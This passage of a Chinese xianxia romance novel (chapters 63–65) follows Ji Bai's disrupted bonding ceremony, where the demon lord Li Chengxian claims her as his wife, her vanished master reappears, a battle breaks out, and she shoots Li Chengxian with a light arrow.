季白这么想着,就侧头看向戚流星,结果恰好对上他的目光,他……好像一直在盯着她。 “师兄。”季白说,“你能帮我去找一些记载献祭术法的书吗?” 戚流星修长的手指敲了敲木头扶手,问:“你什么时候突然对献祭感兴趣了,该不会想要走邪修的道吧?” 季白打趣道:“我现在已经灵力尽失了,如果我真的去做邪修,师兄打算怎么办?” 季白以为以戚流星对她的情意,会说什么哪怕做邪修他也陪她,是正是邪都没她重要之类的肉麻的话。 结果,他却倾身上前,看着她的眼睛说:“那我就亲自把你抓回来,废掉你的修为,重新教导。” 他的语气和眼神都极为认真,看得季白心头一颤。 她别过视线,小声说:“我就开个玩笑,师兄至于这么凶吗。” 戚流星没有接话,只是又坐了回去,爽朗一笑,道:“关于献祭的书是吗?师兄去帮你找。” 在季白不来的日子里,卫云台日复一日地端坐于榻上,似是神庙里悲悯超然的神像。 他也如神一般穿梭在尘境中收敛信徒的供奉,只不过他们供奉的不是可有可无的俗世之物,而是他们拥有的全部。 寂静的山洞中响起清浅的脚步声,可飘来的气息却不是他所期待的那个人。 他缓缓睁开眼,目光看向山洞中唯一的甬道,当昏黄的灯光落在他的脸上,微若的风送来此人的气息时,端坐的神明也染上了一分尘世的嗔怒。 “是你,和小白神交的男人。” 64 第64章 三天的时间转瞬即逝,这三天里系统始终没有再上线,而她也没有得到戚流星的先天一气。 关于献祭的书也一本一本的看过来了,但还是没有找到能有效阻止卫云台的方法。 今日是她与戚流星结契的日子,戚流星早早就换上了一身鲜亮的红衣,乌发也仔仔细细地用嵌着红宝石的鎏金冠束拢,瞧着满面春风,喜庆洋洋。 戚流星握着黛笔俯下身子轻描她眉,带来淡淡的痒意,季白抬眸对上他无比专注的眼眸,戚流星察觉到她的视线,对她勾唇一笑。 他放下黛笔,取来铜镜照着她的脸,问:“怎么样,师兄的手艺还不错吧?” 季白看了一眼铜镜中的自己,娥眉淡扫,粉腮朱唇,比起往日的清冷素净,添了几分柔情绰态,但又不会过分艳丽。 “没想到师兄你连女子妆容都这么精通。” 今日大典本有专门的妆娘为她上妆,谁料戚流星却自告奋勇承担下了为季白上妆的重任。 众人都以为戚流星是一时兴起,一会画完估计还要再改,谁成想,他的手艺竟一点不比妆娘差,甚至因为对季白的五官十分了解,所画的妆容极大程度地放大了她的优势。 戚流星捧着她的脸,温柔专注地望着她似是在欣赏自己最满意的作品一样,他低下头在她唇上轻轻落下一吻,温声说:“等我们结契以后,我天天给你上妆,好吗?” 戚流星好像很喜欢照顾她,也无比享受装扮她的乐趣。 她在四象峰住的这三天不仅衣来伸手饭来张口,就连每日穿的衣衫都由戚流星精心搭配好,放在床边。 “可每天都上妆会很麻烦。” 戚流星的眼眸闪了闪,随后温柔笑道:“那就不上妆。” “二位仙君,时辰到了。” “我们走吧。” 戚流星牵起季白的手往外走,门外早已停好了由三头鸾鸟拉的座驾。 季白突然想到了孟辞,这三日不知是不是因戚流星夜夜守在她身边的缘故,他始终没有再出现过。 虽然他被季白罚了关七日的禁闭,但今日的场景他还未出现总让季白有点忧心,怕他会情绪过激在最后的关头做出一些无法挽回的事。 “对了,今日我结契孟辞怎么没来?” 戚流星垂下眼帘,掩去眼中的情绪,唇角勾出一抹笑意。 “师妹忘了吗,他被罚关七日禁闭,怎会出现在这儿?” “可今日毕竟是你我结契的大日子,他不在难免让人诟病,不如就放他一天,之后再多关他一天就是。” 戚流星握着季白的手紧了紧,眼神幽深,语气直白,“我不喜欢他。” 季白一愣,随后就听戚流星说:“难道师妹一定要在我们大好的日子提别的男人吗?我会很难过。” 季白闻言立即转了话锋。 “我不提他了。” 今天可是她最有可能拿到戚流星先天一气的日子,这一整天她都要让戚流星开开心心,顺顺利利,然后在吻她的时候能心无旁骛,全身投入。 她回握戚流星的手,说:“今日,你是最重要的。” 大典举办的地方放在了最为宽阔的金乌台前,在修仙界象征着姻缘的三生石就摆在广场的最中央,太清宗的一应长老们站在广场的上首为等会主持典礼而做准备,来宾们依照实力高低,声誉地位依次落座在左右两侧。 季白坐在车架上远远就看见了金乌台下那条长若银河的玉阶,看见了屋顶上那只灿烂张扬的金乌,脚下人山人海,喜庆热闹。 明明是一派欢腾之相,可季白却觉得后背直发凉,她想到挂在金乌爪上的无头尸,想到被血染红的玉阶,遍布的尸体。 戚流星察觉到季白的手突然变得很凉,转过身来温声询问:“是太紧张了吗?” 季白勉强挤出一抹笑,说:“是啊,没想到有这么多人。” 那种不安的感觉越发强烈了,她总觉得今天似是要发生什么不好的事。 戚流星摩挲着她的手背,低声安抚道:“别害怕,一切都有师兄在呢。” “人虽然多,但你就把他们当成是会动的萝卜就好。” “如果还是害怕。”戚流星握着她的手微微用力,“那就一直握紧我的手。” 温热的温度顺着紧握的手掌一寸一寸攀沿而上,暖热了她的整个身子,也带给了她几分安定的力量,好像有他在,一切烦恼的事都不用操心。 有那么一瞬间,季白竟然产生了一种想要一直留在他身边的想法。 她朝戚流星的方向靠了靠,仰着头问:“你……可以亲我一下吗?” 戚流星眼神一愣,似是没想到她会在这种时候提出这种要求。 车驾就快要落下,眼下有成千上万的人正仰头注视着他们。 虽然他们是即将结契的道侣,可这样的行为在含蓄淡欲的修仙界仍然是引人议论的出格行为,但他并没有询问缘由,也没有犹豫,捧着她的脸在万众瞩目中吻了下去。 修仙之人耳聪目明,季白与戚流星一瞬间就听见了下方的骚动,其中笑声最大的是热情大胆的合欢宗。 季白有一点点失望,哪怕是这样的时刻,她也没有得到戚流星的先天一气。 到底还差什么呢。 季白没有多余的时间思考了,车驾已经在广场停下,戚流星牵着她的手下了车而后往三生石的方向去。 今日大典最重要的仪式就是他们要在三生石上刻下彼此的姓名,自此就会结为受天道承认的道侣。 但在做这件事之前,季白与戚流星还要听取一长串来自长老的祝词。 当凌霄长老高声念道“乾坤交泰,阴阳和顺”时,右下方忽有一人站了出来,扬声道:“我不同意!” 顷刻间,场面顿时乱了起来,众人纷纷看向这位胆敢站出来搅局的人,看样子像是合欢宗的弟子,生得倒是姿容艳绝,倾倒众生。 可是合欢宗嘛,论正面战斗的实力在各大宗派堪称是垫底的存在,加之他们滥情的风流韵事,在整个修仙界,他们的名声都不算好。 凌霄长老的脸沉了下来,喝问:“你一个合欢宗的弟子,有什么权利不同意我太清宗的事?” “若再搅局,即刻赶你出去!” 季白的心在听到那句“我不同意”的时候,立即抖了三抖,她抬眸朝下方望去就瞧见了鹤立鸡群,风姿绰约的李承仙,她登时吓得手脚冰凉。 这人也太大胆了吧! 他可是魔尊,怎敢只身闯入仙门,难道他就不怕身份暴露吗? 可季白顷刻间又想到了李承仙的实力,他自诞生以来就未逢敌手,纵是仙门百家联手也无法伤其性命,曾有人言恐怕只有消失的太清仙尊方是其对手。 可如今卫云台被她锁在后山不能出来,就算能出来他如今实力大减,恐怕也不是李承仙的对手。 他们人虽多……可若真打起来,怕损失惨重的反而是他们。 季白想到昨晚她看见的人间炼狱…… 戚流星握着季白的手紧了紧,冷笑一声:“他还敢来太清宗搅事,当日我就该杀了他!” 季白听得心惊胆战,连忙抓着戚流星的胳膊,说:“师兄,你别冲动,今日是我们大喜的日子,不宜动手。” 戚流星回眸看了季白一眼,神色稍有缓和,道:“师妹说得有理,这样的好日子,确实不该为了不值得的人动怒,让他们赶他走就是。” 季白咬了下唇,转眸朝下首望去,他已从宾客席中走了出来,一双眼底闪烁着猩红的眼眸定定瞧着季白,这让季白想到了那一夜围攻她的怪物…… “师兄,想来其中定有误会,要不让我下去劝他几句。”季白生怕仙门的人没轻没重把李承仙惹恼了,使他大开杀戒。 季白是真没想过李承仙会出现在这儿,老实说自上次泰州一别后,她就再也没有想过还会再见到他。 戚流星紧攥住季白的手,说:“不许去。” 今日是他们的结契大典,是他梦寐以求的日子,他绝不允许季白离开他半步。 季白急得冒冷汗,天晓得李承仙等会究竟会做什么。 “合欢宗的弟子确实不该管太清宗的事。”李承仙说。 凌霄长老脸色稍缓,正要让他下去,却听他又扬声道。 “可台上与他人结契的仙人是我的妻子。” 这话一出,犹如一滴水落进了油锅里,顿时炸开了锅。 从来都只见其他修士追讨合欢宗弟子要说法,这还是头一次见到多情的合欢宗弟子来找其他修士要说法,讨名分的。 尤其他是追讨的对象还这般劲爆。 众人的眼睛一会看看李承仙,一会又看看台上的二人。 比起深居简出,风评甚好的季白,显然风流在外,潇洒不羁的戚流星更加惹人怀疑。 “天呐,难道是戚仙君始乱终弃了这位合欢宗道友不成?” “啧啧,这可真是丢人丢大了,我听闻这位季仙君不仅实力超群还是钦定的下一任太清宗宗主,不过就是脾气不太好,我看等会结束啊,戚仙君是要倒大霉了。” “他说的是妻子,你怎么知道说的是戚仙君不是季仙君?” “哎呀,这你就不懂了,他们合欢宗的弟子,哈哈,向来都玩的花,而且我听闻季仙君深居简出,潜心修行,深受其师尊太清仙尊影响,是位一心只求大道的仙君,她怎么可能和合欢宗的弟子有牵扯?你看看二位仙君的模样,也该知晓季仙人不是那等好色之徒。” 台下的议论声分毫不差地全部传入了戚流星耳中,气得他血气翻涌,恨不能一剑杀了李承仙,再堵住那些人的嘴。 李承仙就在他们当中,自然也是听见了,他万万没想到他们这帮该死的修士竟会把他与讨厌的戚流星联系在一起,当即就恶心得反胃。 修仙界里果然除了仙人就没有一个好东西,全都该死。 凌霄长老一时间也傻了,他万万没想到今日竟会闹出这等子事,他立即把目光投向季白与戚流星,用眼神质问他们这是怎么一回事。 戚流星咬了咬牙,上前一步怒道:“大胆寻仙!你休得信口雌黄!我师妹与你只有一面之缘,怎就成了你的妻?你若再胡言乱语坏我师妹名声,我誓杀你!” 众人闻听此言一个个把不可置信的目光投向了季白。 这位季仙君瞧着可是位正经人啊,之前还曾听说自太清仙尊失踪后,这位仙君亦是闭关清修了,怎么就和合欢宗的人扯上关系了。 “真没想到竟是季仙君,当真是人不可貌相啊。” “要我说,季仙君定是一时糊涂上了合欢宗弟子的当了,他们的手段你还不知道吗?” “都瞎说什么呢。没听戚仙君说吗,这位合欢宗的弟子就见过季仙君一面,我看啊,八成是爱而不得,人给疯了。” “哼!干得好!平时都是他们合欢宗的人戏耍咱们,也该让他们尝尝相思之苦了!” “师兄,这其中一定有什么误会,我去和他聊聊。”季白说完这句话不顾戚流星的劝阻就连忙挣脱他的手朝李承仙的方向奔去。 李承仙见季白朝他而来,脸上泛起一层诡谲的潮红,低声呢喃道:“仙人,你终于又朝我走来了。” “我一直在泰州等你,你为什么一次也没来看过我?” 戚流星连忙跟着季白的脚步,生怕如今灵气尽失的季白会吃亏。 “寻仙,你先回去好不好,今天是我和师兄的大日子,有什么事等典礼结束了在聊,好不好?” “你让我回去?”李承仙的眼睛一瞬不移地盯着她,“你要我无动于衷地等着我的妻子同他人结为道侣吗?” 赶来的戚流星恰好听见了李承仙的后半句,他见李承仙还敢叫季白妻子当即抽出灵剑,剑锋直指李承仙咽喉,冷脸道:“这里没有你的妻子。” 灵剑逼入咽喉,顷刻间就划破了他细嫩的肌肤,渗出鲜红刺眼的血,“再纠缠不休,我的剑不会留情!” 今日是他和师妹结契的日子,他实在不想杀人。 可这些讨厌的家伙却总是莫名其妙地涌出来抢他的师妹,他们全都该死。 季白吓了一大跳,慌忙去夺戚流星的剑,“师兄,你别冲动,我劝他走就是了。” “我不会走。”李承仙说。 他端端地立在那儿,任由从脖颈流出鲜血染红他精心挑选的青色衣衫,若是季白肯留心的话就会发现他今日的打扮与戚流星平日的打扮甚为相似。 可如今脑子快要炸开的季白哪有空关心李承仙的打扮,一心只想着赶紧想办法先让李承仙离开。 他上前一步抓住季白的手腕,动作快到让戚流星都没反应过来。 待戚流星反应过来时,他当即气得就要拉开他们二人,可李承仙的下一句话与季白手腕上逐渐闪耀的暗红色图纹却让他怔在了原地。 “我们是没有当着众人的面举办结契大典,但我和仙人早已结下了血肉相连,不死不灭的情契。” 季白的脑子轰地一声炸了,最绝望的情况发生了。 她想,她这辈子恐怕也得不到戚流星的先天一气了。 戚流星双眸死死盯着季白手腕上的神秘图纹,他见多识广,自是认得它。 情契,是合欢宗束之高阁的无上秘术,虽是无上秘术合欢宗内却没有几位弟子修它。 双方立下此契,虽能在双修时达到事半功倍的效果,并在对战时大幅度提升战力,但对主契者的束缚也非常的大。 结契后,两人命运相连,彼此感应,最重要的一点是主契者会感同身受受契者所有的伤害与疼痛,并为之承担大部分的伤害,若受契者死亡,主契者亦会随之而去,然而若是主契者死亡,受契者非但不会受到伤害,反而还会获得主契者的力量。 因而,这样完全利他的情契,并不受合欢宗弟子的欢迎,但仍然不影响他在合欢宗乃至整个修仙界的地位。 这是一种比在三生石上刻下姓名还要重的深情誓词。 主契者一生都将忠诚于受契者,听闻是合欢宗的老祖极爱他的道侣,所以发明了至情的情契。 李承仙撩开袖角,手腕上也留有一个与季白完全相同的暗红色图纹,只不过他的图纹方向与季白相反,但并在一起又能完全契合,形成一个完整的图案。 李承仙嘴角挂着笑,“久闻戚道友见多识广不会不认识我们身上的情契吧?” 戚流星眼神阴沉,握着剑的手青筋暴起,为什么,为什么总是有人要和他抢他的师妹,先是卫云台,孟辞,如今又是一个卑劣的合欢宗弟子,为什么所有人都能轻易得到师妹的喜欢? 解决了他,以后又会有谁呢? 是不是只有把她关起来,藏在一个只有自己知道的地方,才不会有人来和他抢。 师妹啊,你有我,难道还不够吗? 戚流星阴沉着脸上前一步攥住季白的另一只胳膊,眼神阴厉地瞪着李承仙,喝道:“放手!” 季白的心砰砰直跳,挣扎着就要把自己的手从李承仙手中挣开。 “师兄……”季白弱弱唤着戚流星,“你听我解释。” 戚流星深吸一口气,强压下心中躁动的杀意,问:“是在泰州的那一夜,对不对?” 当时他就觉得李承仙和师妹之间有点不对劲,他以为两人顶多有点暧昧,可没想到就那么一会的功夫,她的师妹就和别人立下了情契,她到底知不知道她手腕上的东西是什么! 跌宕起伏的剧情让今日的来宾看得津津有味,死寂许久的修仙界已经很久没有这样的热闹事了。 众人纷纷把目光投向合欢宗那边,窃窃私语的讨论着。 “合欢宗这次真是赚大了啊,真没想到他们宗门一个名不见经传的小弟子竟能攀上太清宗的季仙君,那等以后季仙君继位宗主之位,那籍籍无名的小弟子不是还能当上修仙界第一大宗的宗主道侣了?当真是好运气啊。” “要我看,也没那么容易,那小弟子的牺牲也不小啊,为了套牢季仙君,竟然用了情契哎,那可是情契,合欢宗那么多弟子,可没几个人敢用。” “你这就目光短浅了,季仙君是什么人?放在整个修仙界有几人能伤她?怕是你我都死绝了,人家季仙君都活得好好的呢,所以啊,用情契又能表明心意又不用承担伤害,啧啧,依我看啊,这位合欢宗的小弟子可是颇有心机啊。” “就是就是,我若是能给季仙君做道侣,我也愿意和她结情契。” “去去去,人家能看上你,你没瞅见那小弟子是何等风姿吗?单论容貌,放眼天下怕是只有太清仙尊能与之一较高下了。” “说起太清仙尊,今日是他唯二两个徒弟结契的大日子,怎的也不见他回来?” 季白垂着头,无比心虚地说:“是,我……我当时只是觉得好玩而已,真的不知道这是什么。” 她现在是能推脱一时是一时,反正死也不能当着戚流星的面承认她喜欢李承仙。 := 可李承仙却显然不肯放过她,他嘴角挂着笑,可眼神却瞅得人只发寒。 “仙人撒谎,我当时明明告诉仙人,此契落下,不死不休。仙人当时明明对我说,我很漂亮,很喜欢我,怎么如今全然不认了?难道仙人真要做那薄情负心之徒吗?” 他脸上笑意越深,抬脚朝季白走了过来,幽幽的声音好似穿过她的心,咬住她的肉。 “可有此契在,我会一生一世追随仙人,不死不休。” 他笑了下,好似是缠上她的鬼,又似是永远无法摆脱的影子。 “仙人永远别想甩掉我。” 季白听得心头一颤,本能地往后退了一步,正好撞进了戚流星温热的怀抱里,李承仙见状眼底浮现出点点猩红。 这时,却突然又传来一道季白熟悉的声音。 “你和小白的情契,本尊,不认。” 霎那间,比之刚刚还要沸腾的躁动冲天而起,众人欢呼着,惊叫着, “天呐,竟是失踪已久的太清仙尊。” 季白只觉五雷轰顶,此时此刻,只想逃。 【作者有话说】 情契那里cue了我另一本预收的修仙小甜文,是《糟糕,钓错人了怎么办》里的男主,目前定下的是一本轻松愉快的小甜文,主要内容就是自认是猎人的单纯少女被顶级猎人套路的故事,简介后面有可能会改得吸引人一点,但内容主旨是不会变的,大家有兴趣也可以点点收藏。 65 第65章 在这令人绝望的时刻,季白完全没有感应到身后之人那一瞬间紧绷的肌肉。 李承仙回头看去,脸上的神色立时变得无比严肃,随后就彻底沉了下来。 是他,是那个一直试图斩断他和仙人情契的人。 卫云台每一次用灵气冲刷季白手腕上的情契时,李承仙都能有所察觉。 他当时还寻思,放眼整个修仙界,他从没遇上过这般强大的灵气,他一直好奇究竟是谁坏他好事,万万没想到竟会是修仙界中失踪已久的太清仙尊。 太清仙尊的名号,他如雷贯耳,却一直无缘得见。 碍着他是季白师父的关系,他的语气对比其他人多了一分缓和,但在别人眼中仍是无比嚣张的语气。 “我与仙人的情契千真万确,纵是仙尊,纵是仙人的师尊,也无权棒打鸳鸯,还是说……你们太清宗的人一个个都是虚伪的势力之辈?” 堂堂魔尊,此时此刻仍怀有一个无比天真的想法,他想以合欢宗弟子寻仙的身份得到卫云台的认可。 哪怕仙魔不两立,身份如天堑,他也想光明正大地站在她身边。 可卫云台的下一句话就彻底打碎了他这个不切实际的梦。 “李承仙,你明是魔尊却假借合欢宗弟子的身份居心叵测的接近我徒,如今还堂而皇之地闯进我太清宗要说法,呵,这份情契从一开始就是你处心积虑骗来的,我与太清宗都不会认!” 原本看热闹的众人一听这话,立时炸了。 “李承仙?魔尊李承仙?!” “天呐!魔尊来了!他竟然混进来了。” “快!列阵!别让他跑了!” 众人混乱了一阵后,立即就由各大宗门的领队带领着列开阵仗,他们纷纷祭出各自法宝,但没有轻举妄动,而是整齐划一地看向卫云台等待着他的命令。 太清仙尊,无论他消失多久,都是众人心中永远的神邸与信仰,只要他再次出现就能轻而易举地拢起众位仙家。 没有人会质疑他的决定,所有人都会无条件的追随他,哪怕是付出生命。 湛蓝的天空被各色法宝染成彩色,浓郁且强大的灵气如浪潮一般一波一波朝李承仙涌来。 对于修士来说这样的灵气是让他们心旷神怡的舒畅,可对于魔来说就是堪比地狱的折磨。 然而李承仙却无视那些可能会随时冲上来要他命的法宝,无视众多修士,无视卫云台,只是转过身来把目光投向季白。 不可一世,横行天下的魔尊,眼中却分明闪烁着慌张与胆怯,像是一个人突然被扒光了衣服,被剥去了皮肤一般惊慌不安。 “我……”他像是被人扼住了喉咙,一个字也发不出来。 他很怕,很怕看见季白失*望,厌恶的眼神。 他所有的努力都是为了能和季白一样拥有无穷的寿命,都是为了能漂漂亮亮地走到她的面前,认识她,陪伴她,占有她。 如果……如果她讨厌他,纵是天下第一,纵是不死不灭,也全然没了意义。 戚流星从卫云台口中得知此人竟是魔尊李承仙后,当即脸色大变,拉着季白就往后退。 “戚流星。”卫云台唤道,“保护好你师妹!” 戚流星乌黑的眼中闪过一缕暗芒,什么话也没说地将季白护在怀中,下一瞬,就见卫云台飞身上前朝李承仙攻了过来,一剑砍下了他的臂膀。 众人见卫云台率先发起攻击,也紧随其后,纷纷祭出法宝朝李承仙攻来。 李承仙低垂着头站在原地,任由灵气法宝砸在他的身上,他的身体很快就变得七零八碎,像是死了,又像是……暴风雨前的宁静。 他缓缓抬起头,那张脸依旧艳绝人寰,暗红色的雾气将他的身体所笼罩。 他破碎的身体再一次快速生长至完整,肌肤如初生婴儿般娇嫩。 李承仙抬起手掌中聚拢起红至发黑的魔气,细看之下,黑色魔气中似能看见无数张狰狞嘶吼的脸。 “我今日本不想杀人。”李承仙说,“可你们非要逼我。” “卫云台。”李承仙的目光紧盯着他,眼中是无比浓烈的恨意,“是你坏我好事。” 卫云台不答,只是一味地向他发起攻击,李承仙反手释放出无数妖魔替他还击周围的喽啰,本体却直冲卫云台而去。 仙魔两道的至尊就在空中打了起来,以平常人的视觉看就像是一团蓝色的雾气与一团暗红的雾气纠缠不休,一会蓝强,一会红强,一会又交错相融,在霎那间又急速分开。 两人打得昏天黑地,日月不分,一波又一波余威冲到地面就会掀起一阵滔天的气浪。 季白愣愣看着眼前的混战,看着修士与妖魔一个个地倒下,洁白的地砖很快染成血色,它们汇成一条血河滴滴答答地顺着玉阶蜿蜒而下。 那天夜里看见的场景要成真了。 戚流星一边护着季白,一边剿灭着源源不断的妖魔。 他的脸色阴沉得快要滴出水来,今日本该是他和季白结契的好日子,结果全被他们毁了! 他看了一眼已经染上血色无人问津的三生石,眼中闪过一缕青光。 季白如今灵气尽失,拔不出剑,她又不想暴露自己的另一件武器——弓箭,因而就全靠戚流星的保护。 对季白来说,有危险的时候,男主们的身边是安全的,可没有危险的时候,男主们就是危险。 她想要为自己留一张底牌,可眼看死得人越来越多,她正在纠结要不要动用弓箭时,戚流星放开了她,急声道:“师妹,快,我们先在三生石上刻下我们的名字。” 季白人傻了,她看了看眼前的三生石,又看了看戚流星。 眼下都乱成这样了,戚流星竟还惦记着要和她结契。 戚流星见季白迟迟不动,眼神逐渐幽深,“你不愿意?” 许是受今天接二连三的刺激,戚流星眼下的状态显然不太正常,他不等季白回答,就取出一把小刀强行塞到季白手中,神情逐渐癫狂地握着她的手往三生石上摸去。 “今天是你我的结契大典,什么人,什么事都不能阻拦你我结契,师妹,你只能是我的。” 手掌的边缘抵上了冰冷的三生石,她正要顺着戚流星的力道在三生石上刻下自己的名字,却突有一道灵光打了过来,小刀的尖端立时断了。 季白与戚流星回头看去,就瞧见几日不见的孟辞走了上来。 “师叔,你没瞧见师父不愿意吗?” 戚流星的瞳孔瞬间放大,极为诧异他怎么还活着。 季白的大脑已经彻底宕机了,若是平时她肯定还会对戚流星解释几句,但今日有前面那些一波又一波的麻烦事,如今孟辞与戚流星的这点矛盾在季白眼中已经不算什么。 她抬头看了一眼上空中的卫云台与李承仙,今日所有的祸患全都来源于李承仙,若再让他们打下去,她那一天夜里看见的一切都会成真。 戚流星发觉季白又在往天上看,俊秀的面容越发扭曲难看,她看天的时候,是在担心谁? 李承仙还是卫云台? 只要有那个人的出现她的目光就永远不会落在他身上。 在季白没注意的时候孟辞已经抽出腰间的剑,剑锋直指戚流星,冷冷道:“师叔,我们上一次的对战还没结束。” 戚流星回神看向孟辞,他心中窝着一口气,眼神也越发的冷厉,“好啊,那我就再杀一次。” 两个人顷刻间又打在了一起,金石击撞的锵锵声瞬时拉回了季白的注意,她回眸一看,见两人竟打在了一起,顿时生出了一股无名之火。 其余修士都在抵抗妖魔,他们两个太清宗的佼佼者不去抵御妖魔,竟还在自相残杀! 她顾不得危险,冲进他们二人中间,喊道:“你们疯了吗?” “现在都什么时候了,你们竟还在自相残杀,难道真要看太清宗毁于妖魔之手吗?” 两人本激战正酣,却见季白突然冲了出来,心下一惊,生怕伤了季白纷纷收住力气,却反被灵气反噬,呕出一口血。 “师兄!孟辞!”季白说,“你们的事等魔族退去再解决,当务之急是该共同退敌。” 戚流星揩去嘴角的血迹,黑白分明的眸子执拗地盯着季白,“我可以不和他打,但是今天是你我结契的日子,我们把名字刻在三生石上,好吗?” 只要在三生石上刻下姓名,师妹和他就是上天承认的道侣。 季白安抚道:“师兄,我刚刚是被吓着了,并没有不愿意,我现在就刻。” 季白说着拔下发间的金钗就朝三生石走去,孟辞紧攥着剑柄不甘心地喊了一声,“师父!” 季白回眸看了他一眼,苍白异常的肤色使他嘴角的血迹看起来十分刺眼,胸口的旧伤因为刚刚的打斗而再次崩开,血流不止,瞧着可怜急了。 “师父……”孟辞低声说,“那一夜师叔想杀我。” 他的声音很轻很轻,眼底藏着星星点点的期待与祈求,期待她能回头看他一眼,祈求她不要在三生石上刻下名字。 然而,季白在某种程度上实在是一个没有心的绝情人。 她有时感性,可大脑里始终有一杆秤决定着她的选择。 什么事是她需要做的,什么事是必须要舍弃的。 这杆秤永远也不会偏向任何人,唯有自己与利益是绝对的砝码。 她需要戚流星,需要他的先天一气完成任务,哪怕这个选择会对孟辞十分残忍,她也不会犹豫,不会停留。 “你没有死。”季白说。 孟辞的心上像是被扎了一刀,整个人摇摇欲坠。 他没有死,所以不值得在意,怜惜。 不,或许他死了,她也不会在意,怜惜。 在她眼里,他已经是一个没有用的人了,没有用的人是不会得到她半个眼神的。 季白转过身去开始在三生石上一笔一划地刻着自己的名字。 李承仙的出现是她完全没有想到的,那卫云台呢? 他好端端地被她锁在后山,不应该出现在这儿。 知道后山有异的人只有孟辞,是他偷偷放走了卫云台。 若李承仙今日不来,恐怕孟辞也会利用卫云台来扰乱她和戚流星的结契大典。 对于孟辞背后的手段和心机,她并不感到意外,若他真的肯乖乖听她的话,也就不是恐怖乙游的男主了。 她刚把季字刻完,突感背后地动山摇,季白回头一看就见一条浑身煞气的妖龙冲扑了过来。 “师妹小心!” 戚流星反应迅速地将人搂在怀里急速撤离,那条妖龙径直撞上他们刚刚停留过的三生石。 三生石顿时炸了个粉碎,戚流星脸色铁青地盯着妖龙。 只差一点,他和师妹就能结成受天道承认的道侣,只差一点! 全被这条龙毁了! 他一定是和今天的日子犯冲,不然为何会诸事不顺,仿佛全天下都在和他作对。 这条妖龙似是冲着季白而来,它摆了摆尾巴又直冲冲地朝他们撞了过来。 戚流星抱着季白闪身躲避,妖龙穷追不舍地追了上来。 它体积庞大,煞气冲天,寻常修士还未靠近就被它一尾巴砸得昏迷不醒。 眼看他们要被妖龙追上,戚流星正欲举剑正面对敌,却有一人从侧边飞身而过,一剑朝着妖龙的面门劈了下去,尖锐的龙角竟被他生生砍下了一半,妖龙吃痛得疯狂扭动着龙身,嘶吼着攻向他。 季白一时间有些心绪复杂,帮他们的人是孟辞。 戚流星紧抱着季白站在一个位置较高的安全地带,他抬眸看向在半空中与妖龙缠斗的孟辞。 可以看出来妖龙的目标是季白,哪怕在与孟辞缠斗时,目光也常常扫向季白,似是生怕季白跑了一样。 孟辞刚刚在与戚流星对战时本就受了伤,加之先前又险被戚流星杀死,因而几个回合下来,他的动作肉眼可见地缓了下去,再这么耗下去,输的人定然是他。 季白抿了抿唇,正想劝戚流星去帮孟辞一把,戚流星却先递给她一法宝,道:“师妹,这法宝可护你无虞。那妖龙实力强劲,孟辞恐不是对手,我去助他一膀之力。” 季白接过法宝,连连点头,“好,你快去。” 戚流星抽剑冲了上去,孟辞见状面色不善地看了他一眼,冷冰冰地说:“我一人足以应对,不用师叔帮我。” 戚流星冷笑一声:“少往自己脸上贴金,谁要帮你,这妖龙的目标是师妹,我是为了保护师妹。” 季白有了戚流星给的法宝护身,寻常妖魔根本靠近她不得。 她见有了戚流星的加入,妖龙败相已现,顿时松了口气。 可这口气还没有喘匀,腰间突然贴上了一双无比冰冷的手,紧接着她整个人都落入了此人的怀里,他幽幽的声音从后传来。 “仙人,这里太乱了,会污了你的眼。” “我带你走。” 季白转过头就对上李承仙暗红的眼眸,她不可置信地抬眸看了一眼天空,李承仙在这儿,那空中与卫云台对打的人又是谁?! 李承仙似是看透季白所想,低笑一声,耐心解释道:“分身之术而已。” 季白手中的护身法宝还在散发着幽幽青光,这青光可挡一般妖魔,却拦不住魔尊李承仙。 许是护身法宝察觉到主人有危,顷刻间,只见青光大胜,似是要驱逐这不速之客。 李承仙皱了皱眉,“这光着实碍眼。” “你若喜欢法宝,日后我为你寻一个更好的。” 李承仙话音刚落就抬手碾碎了季白手中的法宝,正与妖龙作战的戚流星呕出一大口血,两眼一翻,直挺挺地倒了下去。 这法宝与戚流星神魂相连,如今法宝受损,他亦受到了反噬。 季白紧攥着拳,道:“你骗了我,我不会跟你走的。” 李承仙垂下眼帘不看她,虽看不清他眼中的神色,但从他的表情似是可以看出他对这样的结果并不意外。 “是我的错。”李承仙说,“让仙人以为自己有的选。” 季白深呼一口气,系统仍然联系不上,但她记得系统曾经说过褚师怀的弓蕴含着无比强大的力量,它的箭可以射杀这个副本中实力最强的人。 虽然只有一箭,但也足够用了。 今日所有的一切皆因李承仙而起,只要他死了,她的任务也能继续顺利进行下去。 如今她被李承仙紧抱在怀中,拉不得弓,但直接用箭刺也是一样的吧? 李承仙紧抱着她离开了此地,轻柔的风拂过她的脸颊,脚下的场景快速往后退,眼看就出了太清宗。 季白手掌悄悄向上一翻,掌心中就出现了一支光箭,下一瞬,她毫不犹豫地就朝李承仙的心口刺去。 光箭刺入血肉,瞬时间就化作点点荧光没入李承仙体内,他立即就感受到前所未有的疼痛,差点压不住体内暴乱的妖魔。 他捂住受伤的心口停下脚步,一面要强忍着疼入骨髓的剧痛,一面要压抑着自己的本体,不在季白面前显形。 哪怕她要杀他,他也不想把自己丑陋不堪的那一面展示给季白。 李承仙喘着粗气缓了半晌,随后抬起那双如血般的红眸看向季白,一张艳绝人寰的脸苍白如纸,“你要杀我?” 他的嘴唇抑制不住的颤抖,眼底似比秋风的悲凉。 他倾心追随,如妖朝月的仙人要杀他,他能怎么做,他还能怎么做? 季白早已趁着李承仙刚刚吃痛时,挣脱了出来,她挽弓搭箭将箭头对准了李承仙的心脏。 系统还是没有上线。 所以此时此刻的她也不知道该如何释放这把弓的全部力量来杀他,她只能拼尽自己的全力。 “不要怪我。”季白说,“仙魔不两立,是你先骗我的。” 李承仙张了张唇,想要问她,那如果他只是合欢宗弟子寻仙,她……会不会喜欢他,选择他? 可他终是闭上了眼睛,沉默不语。 谁也不知这一刻的李承仙在想什么,是想就此死在爱人的手里,还是后悔自己爱错了人,亦或是在赌她不会对他动手。 “嗖”的一声,箭离弦而发,精准地射在了李承仙的心脏上,一箭过后,季白手中的弓箭似乎已经耗费了所有的力气,再也无法凝结出新的光箭。 季白不敢耽误,这一箭过后,她再也没有攻击的手段。 无论李承仙会不会被她这一箭射死,她都必须尽快离开。 她要的东西都在太清宗,无论如何她也不能跟着李承仙去魔界,何况……她也曾亲眼看见肆虐的妖魔残害人命。 李承仙自成魔后从未受过这般严重,这般痛的伤,心口被光箭射出一个通透的大洞,凄厉的冷风穿过他的血肉,刮得他快要战立不住。 